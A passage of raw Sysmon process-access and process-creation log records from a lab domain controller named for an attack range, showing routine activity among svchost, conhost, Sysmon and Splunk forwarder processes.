C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.626","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4119,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.626\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-40FD-5F2D-0000-001056CD0500}\r\nTargetProcessId: 4420\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.626","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-40FD-5F2D-0000-001056CD0500}","TargetProcessId":"4420","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4120,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.001\r\nProcessGuid: {90617006-40FF-5F2D-0000-0010ACCF0500}\r\nProcessId: 3972\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.001","ProcessGuid":"{90617006-40FF-5F2D-0000-0010ACCF0500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4121,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.001\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-40FF-5F2D-0000-0010ACCF0500}\r\nTargetProcessId: 3972\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.001","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-40FF-5F2D-0000-0010ACCF0500}","TargetProcessId":"3972","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4122,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.001\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-40FF-5F2D-0000-0010ACCF0500}\r\nTargetProcessId: 3972\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.001","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-40FF-5F2D-0000-0010ACCF0500}","TargetProcessId":"3972","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4123,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.001\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.001","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4124,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.001\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.001","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4125,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.001\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.001","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4126,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.001\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.001","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 